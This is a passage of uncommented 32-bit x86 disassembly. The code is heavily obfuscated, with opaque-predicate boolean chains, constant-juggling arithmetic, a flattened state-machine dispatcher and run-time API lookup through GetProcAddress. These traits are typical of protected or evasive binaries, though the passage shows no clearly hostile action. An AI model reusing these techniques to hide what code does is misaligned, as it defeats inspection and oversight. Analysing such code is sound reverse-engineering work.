xor ah, 0xff
mov cl, 1
xor cl, 0
or bl, ah
or cl, 0
xor bl, 0xff
and bl, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov dh, al
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or ch, dh
or cl, ah
xor ch, cl
mov cl, 1
xor cl, 0
xor ch, 0xff
mov ah, 1
xor ah, 1
or cl, ch
or ah, 1
xor cl, 0xff
and cl, ah
mov byte [ebp - 0x8dd], cl
mov dh, 1
xor dh, 0
and dh, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 0
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dh, ch
or cl, ah
xor dh, cl
mov cl, dh
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov al, dl
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
mov cl, dl
and cl, bh
mov ah, 1
xor ah, 1
and ah, 0
and bh, 1
or al, cl
mov cl, byte [ebp - 0x8dd]
or ah, bh
xor al, ah
xor al, 0xff
mov bh, 1
xor bh, 0
mov ah, 1
xor ah, 0
or al, bh
or ah, 0
xor al, 0xff
and al, ah
xor dh, 0xff
mov ah, dl
xor ah, dh
and ah, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ch, dl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or ch, dl
or al, cl
xor ch, al
mov al, bl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov ah, bl
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x8dc], al
mov dh, ch
xor dh, 0xff
and dh, 0
mov dl, 1
xor dl, 0
mov ah, ch
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or dh, ah
or cl, dl
xor dh, cl
mov bh, 1
xor bh, 0
and bh, 1
mov dl, 1
xor dl, 1
mov ah, dl
and ah, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bh, ah
or cl, dl
xor bh, cl
mov cl, 1
xor cl, 0
mov dl, al
xor dl, cl
and dl, al
xor bl, 0xff
mov cl, bh
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov al, 1
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
xor ch, 0xff
mov al, bh
xor al, 0xff
mov cl, 1
xor cl, 1
or ch, al
mov al, byte [ebp - 0x8dc]
or cl, 1
xor ch, 0xff
and ch, cl
mov cl, dl
and cl, bl
xor dl, bl
or cl, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov ah, cl
xor ah, 0xff
mov bl, dl
and bl, ah
xor dl, 0xff
and cl, dl
or bl, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x8db], dl
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
and dl, 0xff
and al, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, al
mov al, byte [ebp - 0x8db]
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, dl
or al, cl
xor dh, al
mov cl, 1
xor cl, 0
mov byte [ebp - 0x8da], cl
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
mov al, dl
and al, 0
mov ch, ah
and ch, 0xff
and bh, dl
or cl, al
mov al, byte [ebp - 0x8da]
or ch, bh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5f1d8f21
mov ecx, 0x759f721
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov edx, dword [ebp - 0xd0]
mov eax, 0xdd7a8e4e
mov ecx, 0x1204c5cb
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xc8]
xor eax, eax
sub eax, 0x8c02f374
sub ecx, eax
add ecx, 0x6b36f4eb
sub ecx, 0x5e2e3e52
sub ecx, 0x6b36f4eb
add ecx, 0x425f2fa6
sub ecx, 0x8c02f374
sub ecx, 0x425f2fa6
add ecx, 0x8a4a97a8
sub ecx, 0x2dd927b
sub ecx, 0x8a4a97a8
xor eax, eax
sub eax, edx
sub ecx, eax
add ecx, 0xd4dcbc3c
add ecx, 0x2dd927b
sub ecx, 0xd4dcbc3c
xor eax, eax
sub eax, 0x1bf80ec7
sub ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x5e2e3e52
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x1bf80ec7
add ecx, eax
mov eax, dword [ebp - 0x188]
mov dword [eax], ecx
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18c]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x194]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x184]
mov dword [eax], ecx
mov edx, dword [ebp - 0x184]
mov eax, 0x259ae65a
mov ecx, 0x68e2a9ed
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov dword [ebp - 0x1e0], 0x77cf512c
jmp 0x486e58
mov eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0xbc]
mov dword [eax], ecx
mov ecx, dword [0x5d5bbc]
mov eax, dword [0x5d5bb8]
xor esi, esi
sub esi, 0x1a6d48f3
mov edx, ecx
add edx, esi
sub edx, 0xea81713f
sub edx, 0xfaca11cf
add edx, 0xea81713f
add edx, 0xbca0b533
add edx, 0x1a6d48f3
sub edx, 0xbca0b533
sub edx, 0x80dbfb08
sub edx, 0x9b7b0d79
add edx, 0x80dbfb08
add edx, 0xaf98fca2
sub edx, 1
sub edx, 0xaf98fca2
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x9b7b0d79
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0x6fd1b90e
add edx, 0xf81d8392
sub edx, 0x6fd1b90e
xor esi, esi
sub esi, 0xfaca11cf
sub edx, esi
sub edx, 0x4151606f
sub edx, 0xf81d8392
add edx, 0x4151606f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete ch
mov byte [ebp - 0x9f4], ch
cmp eax, 0xa
setl bh
mov cl, ch
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ch
and al, dl
or cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov ah, 1
xor ah, 0
and ah, 0
mov dl, 1
xor dl, 0
mov dh, dl
and dh, 0
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, dh
or al, dl
xor ah, al
xor ch, 0xff
mov dl, ah
xor dl, 0xff
mov al, 1
xor al, 1
or ch, dl
or al, 1
xor ch, 0xff
and ch, al
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or dl, bl
or al, dh
xor dl, al
xor dl, 0xff
mov dh, 1
xor dh, 0
mov al, 1
xor al, 1
or dl, dh
or al, 1
xor dl, 0xff
and dl, al
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov ah, al
xor ah, 0xff
mov dl, cl
and dl, ah
xor cl, 0xff
and al, cl
or dl, al
mov ah, bh
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, bh
and al, cl
or ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov cl, 1
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
mov bl, bh
xor bl, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 1
or bl, ah
or cl, 1
xor bl, 0xff
and bl, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x9fb], ah
mov ch, bl
xor ch, 0xff
mov cl, 1
xor cl, 1
and ah, 0xff
and al, cl
mov dh, ch
and dh, 0xff
and bl, cl
or ah, al
mov al, byte [ebp - 0x9fb]
or dh, bl
xor ah, dh
or al, ch
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov cl, 1
xor cl, 1
xor ch, 0xff
mov al, 1
xor al, 1
or cl, ch
or al, 1
xor cl, 0xff
and cl, al
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
mov ch, 1
xor ch, 0
xor dh, 0xff
mov al, 1
xor al, 1
or ch, dh
or al, 1
xor ch, 0xff
and ch, al
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov byte [ebp - 0x9cb], al
mov ch, dl
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov dh, dl
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov dh, 1
xor dh, 0
and dh, 0
mov cl, 1
xor cl, 0
mov bl, cl
and bl, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, bl
or al, cl
xor dh, al
mov cl, 1
xor cl, 0
and cl, 0
mov bl, 1
xor bl, 0
mov al, bl
and al, 0
mov byte [ebp - 0x9fa], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x9f9], al
mov al, byte [ebp - 0x9fa]
and bl, 1
or cl, al
mov al, byte [ebp - 0x9f9]
or al, bl
xor cl, al
mov al, ch
and al, dh
xor ch, dh
or al, ch
mov byte [ebp - 0x9f5], al
mov bl, 1
xor bl, 0
mov byte [ebp - 0x9f6], bl
mov dh, cl
xor dh, 0xff
mov ch, 1
xor ch, 0
and bl, 0
mov al, ch
and al, 0
mov byte [ebp - 0x9f8], al
mov al, dh
and al, 0
mov byte [ebp - 0x9f7], al
mov al, byte [ebp - 0x9f8]
and cl, ch
or bl, al
mov al, byte [ebp - 0x9f7]
or al, cl
mov cl, byte [ebp - 0x9f6]
xor bl, al
mov al, byte [ebp - 0x9f5]
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or bl, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and al, dh
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or ch, al
mov al, byte [ebp - 0x9f4]
or cl, dh
mov dh, byte [ebp - 0x9cb]
xor ch, cl
xor bl, 0xff
mov cl, ch
xor cl, bl
and cl, ch
mov byte [ebp - 0x9da], cl
mov bl, al
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
and al, cl
or bl, al
mov al, dh
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or al, dh
or cl, ch
xor al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ch, 1
xor ch, 1
and ch, 1
or cl, ch
mov byte [ebp - 0x9f0], cl
mov dh, bl
xor dh, 0xff
mov byte [ebp - 0x9f1], dh
mov ch, al
xor ch, 0xff
mov cl, 1
xor cl, 1
and dh, 0xff
and bl, cl
mov byte [ebp - 0x9f3], bl
mov bl, ch
and bl, 0xff
and al, cl
mov byte [ebp - 0x9f2], al
mov al, byte [ebp - 0x9f3]
or dh, al
mov al, byte [ebp - 0x9f2]
or bl, al
mov al, byte [ebp - 0x9f1]
xor dh, bl
mov bl, byte [ebp - 0x9f0]
or al, ch
xor al, 0xff
or cl, 1
and al, cl
or dh, al
mov al, 1
xor al, 1
mov byte [ebp - 0x9eb], al
xor bl, 0xff
mov ch, 1
xor ch, 0
and al, 0
mov byte [ebp - 0x9ef], al
mov cl, ch
and cl, 1
mov al, bl
and al, 0
mov byte [ebp - 0x9ed], al
mov al, byte [ebp - 0x9f0]
and al, ch
mov byte [ebp - 0x9ee], al
mov al, byte [ebp - 0x9ef]
or al, cl
mov cl, byte [ebp - 0x9ee]
mov byte [ebp - 0x9ec], al
mov al, byte [ebp - 0x9ed]
or al, cl
mov cl, byte [ebp - 0x9ec]
xor cl, al
mov al, byte [ebp - 0x9eb]
or al, bl
xor al, 0xff
or ch, 0
and al, ch
or cl, al
mov bl, dh
xor bl, 0xff
and bl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or bl, dh
or al, ch
xor bl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov cl, ah
and cl, ch
or al, cl
mov byte [ebp - 0x9ea], al
mov al, 1
xor al, 0
and al, 1
mov dh, 1
xor dh, 1
mov cl, dh
and cl, 0
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or al, cl
mov cl, byte [ebp - 0x9ea]
or ch, dh
xor al, ch
mov byte [ebp - 0x9e9], al
mov ch, 1
xor ch, 0
and ch, 1
mov dh, 1
xor dh, 1
and dh, 0
or ch, dh
mov byte [ebp - 0x9e4], ch
mov ch, cl
xor ch, 0xff
xor al, 0xff
mov byte [ebp - 0x9e3], al
mov dh, 1
xor dh, 0
mov al, ch
and al, 0
mov byte [ebp - 0x9e8], al
mov al, byte [ebp - 0x9e3]
and cl, dh
and al, 0
mov byte [ebp - 0x9e7], al
mov al, byte [ebp - 0x9e9]
and al, dh
mov byte [ebp - 0x9e6], al
mov al, byte [ebp - 0x9e8]
or al, cl
mov cl, byte [ebp - 0x9e7]
mov byte [ebp - 0x9e5], al
mov al, byte [ebp - 0x9e6]
or cl, al
mov al, byte [ebp - 0x9e5]
xor al, cl
mov cl, byte [ebp - 0x9e4]
mov byte [ebp - 0x9e2], al
mov al, byte [ebp - 0x9e3]
or ch, al
mov al, byte [ebp - 0x9e2]
xor ch, 0xff
or dh, 0
and ch, dh
or al, ch
mov byte [ebp - 0x9dd], al
mov ch, 1
xor ch, 0
mov byte [ebp - 0x9de], ch
mov al, cl
xor al, 0xff
mov byte [ebp - 0x9df], al
mov dh, 1
xor dh, 0
and ch, 0
mov al, dh
and al, 0
mov byte [ebp - 0x9e1], al
mov al, byte [ebp - 0x9df]
and al, 0
mov byte [ebp - 0x9e0], al
mov al, byte [ebp - 0x9e1]
and cl, dh
or ch, al
mov al, byte [ebp - 0x9e0]
or al, cl
mov cl, byte [ebp - 0x9df]
xor ch, al
mov al, byte [ebp - 0x9de]
or al, cl
mov cl, byte [ebp - 0x9dd]
xor al, 0xff
or dh, 0
and al, dh
or ch, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0x9dc], al
mov al, 1
xor al, 1
and cl, al
mov dh, 1
xor dh, 1
and dh, 0xff
and al, 1
mov byte [ebp - 0x9db], al
mov al, byte [ebp - 0x9dc]
or al, cl
mov cl, byte [ebp - 0x9db]
or dh, cl
mov cl, byte [ebp - 0x9cb]
xor al, dh
xor ch, 0xff
mov dh, al
xor dh, ch
and dh, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and cl, ch
or al, cl
mov ch, bh
xor ch, 0xff
mov cl, al
and cl, ch
xor al, 0xff
mov ch, bh
and ch, al
mov al, byte [ebp - 0x9da]
or cl, ch
xor bh, 0xff
mov ch, cl
xor ch, bh
and ch, cl
mov bh, bl
xor bh, 0xff
mov cl, al
xor cl, bh
and cl, al
mov byte [ebp - 0x9d9], cl
mov bh, al
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov byte [ebp - 0x9d8], cl
and al, cl
mov cl, byte [ebp - 0x9d9]
mov byte [ebp - 0x9d7], al
mov al, bl
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x9d6], al
mov al, byte [ebp - 0x9d8]
and bl, al
mov al, byte [ebp - 0x9d7]
or bh, al
mov al, byte [ebp - 0x9d6]
or al, bl
xor bh, al
mov byte [ebp - 0x9d5], bh
mov al, cl
xor al, 0xff
mov byte [ebp - 0x9d0], al
xor bh, 0xff
mov bl, 1
xor bl, 0
and al, 0
mov byte [ebp - 0x9d4], al
and cl, bl
mov al, bh
and al, 0
mov byte [ebp - 0x9d3], al
mov al, byte [ebp - 0x9d5]
and al, bl
mov byte [ebp - 0x9d2], al
mov al, byte [ebp - 0x9d4]
or al, cl
mov cl, byte [ebp - 0x9d3]
mov byte [ebp - 0x9d1], al
mov al, byte [ebp - 0x9d2]
or cl, al
mov al, byte [ebp - 0x9d1]
xor al, cl
mov cl, byte [ebp - 0x9d0]
or cl, bh
xor cl, 0xff
or bl, 0
and cl, bl
or al, cl
mov byte [ebp - 0x9cd], al
mov bl, dh
xor bl, 0xff
mov cl, ch
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov al, dh
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and dh, bh
mov cl, ch
xor cl, 0xff
and cl, 0xff
and ch, bh
or al, dh
or cl, ch
xor al, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov bh, cl
and bh, 0xff
and bl, ch
mov byte [ebp - 0x9cf], bl
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0x9ce], al
mov al, byte [ebp - 0x9cf]
or bh, al
mov al, byte [ebp - 0x9ce]
or bl, al
mov al, byte [ebp - 0x9cd]
xor bh, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or bh, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov cl, al
and cl, dh
or ch, cl
xor ch, 0xff
mov cl, bh
xor cl, ch
and cl, bh
mov ch, bh
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or ch, bh
or dh, bl
xor ch, dh
xor ch, 0xff
mov bh, al
xor bh, ch
and bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x9cc], al
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
and al, 0xff
and cl, ch
mov bl, dh
and bl, 0xff
and bh, ch
or al, cl
mov cl, byte [ebp - 0x9cc]
or bl, bh
xor al, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or al, cl
mov byte [ebp - 0x9ca], al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov ch, ah
and ch, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, ch
or al, cl
xor dl, al
mov cl, 1
xor cl, 1
xor dl, 0xff
mov al, 1
xor al, 0
or cl, dl
or al, 0
xor cl, 0xff
and cl, al
mov ch, 1
xor ch, 1
and ch, 0
mov dl, 1
xor dl, 0
mov dh, dl
and dh, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ch, dh
or al, dl
xor ch, al
xor ah, 0xff
mov dl, ch
xor dl, 0xff
mov al, 1
xor al, 1
or ah, dl
or al, 1
xor ah, 0xff
and ah, al
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
mov dh, 1
xor dh, 1
mov dl, al
xor dl, dh
and dl, al
mov bh, 1
xor bh, 1
xor ch, 0xff
mov al, 1
xor al, 0
or bh, ch
or al, 0
xor bh, 0xff
and bh, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov ah, dl
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov cl, ah
and cl, 0xff
and dl, ch
mov bl, dh
and bl, 0xff
and bh, ch
or cl, dl
mov dl, byte [ebp - 0x9cb]
or bl, bh
xor cl, bl
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or cl, ah
mov ch, al
xor ch, 0xff
mov ah, cl
and ah, ch
xor cl, 0xff
and al, cl
or ah, al
mov al, dl
xor al, 0xff
xor al, 0
and al, 0
mov ch, 1
xor ch, 0
mov cl, dl
and cl, ch
xor dl, 0xff
and dl, 0
or cl, dl
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, ah
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov dl, ch
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
mov bh, 1
xor bh, 0
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0
or bh, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov ah, 1
xor ah, 0
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov dl, ah
and dl, 0xff
mov al, ch
and al, 0
mov bl, dh
and bl, 0xff
and bh, ch
or dl, al
mov al, byte [ebp - 0x9ca]
or bl, bh
xor dl, bl
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or dl, ah
mov dh, cl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and cl, ah
or dh, cl
xor dh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or dh, dl
or cl, 0
xor dh, 0xff
and dh, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov dl, al
and dl, ah
or cl, dl
mov byte [ebp - 0x9c9], cl
mov dl, dh
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov ah, dh
and ah, ch
or dl, ah
mov bh, 1
xor bh, 1
and bh, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or bh, bl
or ah, ch
xor bh, ah
mov ch, 1
xor ch, 1
mov ah, cl
xor ah, ch
and ah, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, 1
xor al, 1
mov ch, dl
xor ch, al
and ch, dl
xor dh, 0xff
mov al, bh
xor al, 0xff
mov cl, 1
xor cl, 1
or dh, al
mov al, byte [ebp - 0x9c9]
or cl, 1
xor dh, 0xff
and dh, cl
mov cl, ah
and cl, bl
xor ah, bl
or cl, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov ch, cl
xor ch, 0xff
mov bl, ah
and bl, ch
xor ah, 0xff
and cl, ah
or bl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x9c8], al
mov dl, 1
xor dl, 1
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
mov al, ah
and al, 1
mov dh, ch
and dh, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x9c8]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x83f4193c
mov ecx, 0x838f0171
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov dword [ebp - 0x1e0], 0xcb8e70d
jmp 0x486e58
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x17c]
mov dword [eax], 0
mov dword [ebp - 0x1e0], 0x306b9d2b
jmp 0x486e58
mov dword [ebp - 0x1e0], 0x8ba08084
jmp 0x486e58
mov ecx, dword [0x5d5bbc]
mov eax, dword [0x5d5bb8]
xor esi, esi
sub esi, 0x51f0c9
sub esi, 1
add esi, 0x51f0c9
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
mov edx, ecx
add edx, 0xabdcf389
add edx, 0xb83f71e7
sub edx, 0xabdcf389
sub edx, 0x45a867cd
add edx, esi
add edx, 0x45a867cd
sub edx, 0x33a7ddf9
sub edx, 0xb83f71e7
add edx, 0x33a7ddf9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
mov byte [ebp - 0xa9d], bl
cmp eax, 0xa
setl ah
mov cl, bl
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, bl
and al, dl
or cl, al
mov bh, 1
xor bh, 1
xor cl, 0xff
mov al, 1
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bh, cl
mov dh, ch
and dh, 0
and bl, cl
or dl, bh
or dh, bl
xor dl, dh
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov ch, ah
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov dh, ah
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov cl, 1
xor cl, 1
xor ch, 0xff
mov al, 1
xor al, 0
or cl, ch
or al, 0
xor cl, 0xff
and cl, al
mov ch, 1
xor ch, 1
and ch, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or ch, bl
or al, dh
xor ch, al
mov bh, ah
xor bh, 0xff
xor ch, 0xff
mov al, 1
xor al, 0
or bh, ch
or al, 0
xor bh, 0xff
and bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0xa9e], al
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
and al, 0
and cl, ch
mov bl, dh
and bl, 0
and bh, ch
or al, cl
mov cl, byte [ebp - 0xa9e]
or bl, bh
xor al, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or al, cl
mov byte [ebp - 0xa90], al
mov cl, 1
xor cl, 0
and cl, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 0
mov al, 1
xor al, 1
and al, 0
and ch, 1
or cl, dh
or al, ch
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
xor ch, 0xff
xor ch, 0
and ch, 0
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov byte [ebp - 0xa85], al
mov ch, dl
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or ch, al
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
mov al, 1
xor al, 0
and al, 1
mov bh, 1
xor bh, 1
mov cl, bh
and cl, 0
mov bl, 1
xor bl, 1
and bl, 0xff
and bh, 1
or al, cl
mov cl, byte [ebp - 0xa9d]
or bl, bh
xor al, bl
mov bh, ch
and bh, dh
xor ch, dh
or bh, ch
mov dh, al
and dh, 0
xor al, 0
or dh, al
mov ch, bh
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and bh, bl
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
mov bh, byte [ebp - 0xa85]
or al, bl
xor ch, al
xor ch, 0xff
xor dh, 0xff
mov al, 1
xor al, 1
or ch, dh
or al, 1
xor ch, 0xff
and ch, al
mov bl, bh
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and bh, dh
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or bl, bh
or al, dh
xor bl, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0xa9c], al
mov al, 1
xor al, 0
mov bh, cl
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0
and bl, al
mov al, byte [ebp - 0xa9c]
or al, bh
or dh, bl
xor al, dh
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov dh, 1
xor dh, 0
and dh, 1
mov cl, 1
xor cl, 1
mov bh, cl
and bh, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
